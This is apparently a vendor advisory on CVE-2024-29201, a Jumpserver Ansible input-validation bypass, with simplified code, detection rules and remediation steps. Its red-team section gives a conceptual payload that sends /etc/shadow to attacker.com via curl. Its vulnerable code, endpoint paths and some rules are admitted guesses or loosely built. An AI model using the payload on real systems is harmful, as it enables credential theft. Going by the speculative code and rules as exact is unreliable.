CVE-2024-29201

Executive Summary

CVE-2024-29201 is a critical vulnerability in Jumpserver, an open-source bastion host and operation and maintenance security audit system. The flaw allows attackers to bypass input validation in Jumpserver's Ansible integration, enabling arbitrary code execution within the Celery container. Since the Celery container runs with root privileges and has database access, an attacker can steal sensitive information from all managed hosts or manipulate the database. The vulnerability is fixed in version 3.10.7. The CVSS score is 10.0 (Critical), and the EPSS score is 0.0%, indicating low exploitation probability at this time, but the impact is severe.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Jumpserver application itself. However, the Ansible integration and Celery container are key components. Organizations using Jumpserver should treat this as a critical supply chain risk, as the bastion host is a central point of access to infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 10.0 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full disclosure of all managed host data.
• Integrity Impact: High (I:H) – Full modification of database and host configurations.
• Availability Impact: High (A:H) – Potential disruption of bastion host services.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with root privileges in the Celery container, leading to complete compromise of the Jumpserver instance and all managed hosts.

Deep Dive & Mechanics

The vulnerability resides in the Ansible integration module of Jumpserver. Ansible is used for automated configuration management and task execution on managed hosts. The input validation mechanism fails to properly sanitize user-supplied data before passing it to Ansible playbooks or commands. An attacker can craft a malicious request that bypasses the validation, injecting arbitrary Ansible modules or commands.

The Celery container is a separate process that executes asynchronous tasks, including Ansible operations. It runs with root privileges and has direct access to the Jumpserver database. Once arbitrary code execution is achieved in the Celery container, the attacker can:

• Execute system commands as root.
• Read, modify, or delete the database (e.g., steal credentials, session tokens, host keys).
• Pivot to managed hosts using stored credentials.
• Install backdoors or ransomware.

The attack does not require authentication, making it especially dangerous for internet-facing Jumpserver instances.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.10.7): The input validation in the Ansible integration likely used a blacklist or insufficient regex to filter dangerous characters. For example, a function might have allowed certain characters that could be used to break out of the intended command structure.

# Vulnerable example (simplified)
def validate_input(user_input):
    # Weak validation - only checks for obvious shell metacharacters
    if ';' in user_input or '|' in user_input:
        raise ValueError("Invalid input")
    return user_input

Patched Code (v3.10.7): The fix implements a whitelist approach, only allowing specific safe characters or using parameterized Ansible calls.

# Patched example (simplified)
import re

def validate_input(user_input):
    # Whitelist: only allow alphanumeric, underscores, and hyphens
    if not re.match(r'^[a-zA-Z0-9_-]+$', user_input):
        raise ValueError("Invalid input")
    return user_input

The exact patch details are not publicly available, but the advisory confirms that input validation was strengthened.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Jumpserver instance (version < 3.10.7) accessible over the network.
• No authentication required.

Exploitation Steps:

1. Identify the Ansible endpoint (e.g., /api/v1/ops/ansible/ or similar).
2. Craft a POST request with a malicious payload that bypasses input validation.
3. The payload executes arbitrary Ansible modules, such as command or shell, to run system commands.

Example Payload (conceptual):

{
  "hosts": ["target_host"],
  "module": "command",
  "args": "id; curl http://attacker.com/$(cat /etc/shadow)"
}

Note: No public exploit code is available at this time. The above is a conceptual example.

Blue Team (Detection & Defense)

Detection:

• Monitor Jumpserver logs for unusual Ansible task requests, especially those with suspicious arguments.
• Look for outbound connections from the Celery container to unknown IPs.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediately upgrade to Jumpserver v3.10.7 or later.
• Restrict network access to the Jumpserver API to trusted IPs only.
• Implement Web Application Firewall (WAF) rules to block common injection patterns.
• Run the Celery container with reduced privileges (non-root) if possible, though this may require code changes.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual POST requests to /api/v1/ops/ansible/ or similar endpoints.
  • Outbound connections from the Jumpserver host to unknown IPs on ports 80/443.
  • Anomalous DNS queries from the Celery container.

• File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ on the Jumpserver host.
  • Modified database entries in the Jumpserver database (e.g., new admin users, altered host credentials).

• Process IOCs:

  • Celery worker processes spawning unexpected child processes (e.g., bash, curl, wget).
  • Unusual network connections from the Celery worker process.

Detection Engineering

YARA Rule

rule CVE_2024_29201_Jumpserver_Ansible_Injection {
    meta:
        description = "Detects malicious Ansible payloads targeting CVE-2024-29201"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-29201"
    strings:
        $s1 = "ansible" nocase
        $s2 = "command" nocase
        $s3 = "shell" nocase
        $s4 = "raw" nocase
        $s5 = "script" nocase
        $s6 = "args" nocase
        $s7 = "hosts" nocase
        $s8 = "module" nocase
        $s9 = "become" nocase
        $s10 = "become_user" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10) and
        # of ($s*) >= 5
}

Sigma Rule

title: CVE-2024-29201 Jumpserver Ansible Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-29201 by sending malicious Ansible payloads to Jumpserver
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29201
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains:
            - '/api/v1/ops/ansible/'
            - '/api/v1/ops/playbook/'
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'command'
            - 'shell'
            - 'raw'
            - 'script'
    condition: selection
falsepositives:
    - Legitimate Ansible operations from authorized users
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-29201 Jumpserver Ansible Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/ops/ansible/"; http_uri; content:"command"; http_client_body; content:"shell"; http_client_body; content:"raw"; http_client_body; content:"script"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Jumpserver to version 3.10.7 or later. This is the only complete fix.
2. Restrict network access to the Jumpserver API to trusted IPs only (e.g., using firewall rules or VPN).
3. Review logs for any signs of exploitation (see IOCs and Detection Engineering).

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block Ansible injection patterns.
• Run the Celery container with a non-root user if possible (requires code modification).
• Regularly audit Jumpserver configurations and user permissions.
• Monitor for new CVEs and apply patches promptly.

Workaround (if upgrade is not immediately possible):

• Disable the Ansible integration feature temporarily.
• Use network segmentation to isolate the Jumpserver from untrusted networks.

Valters IT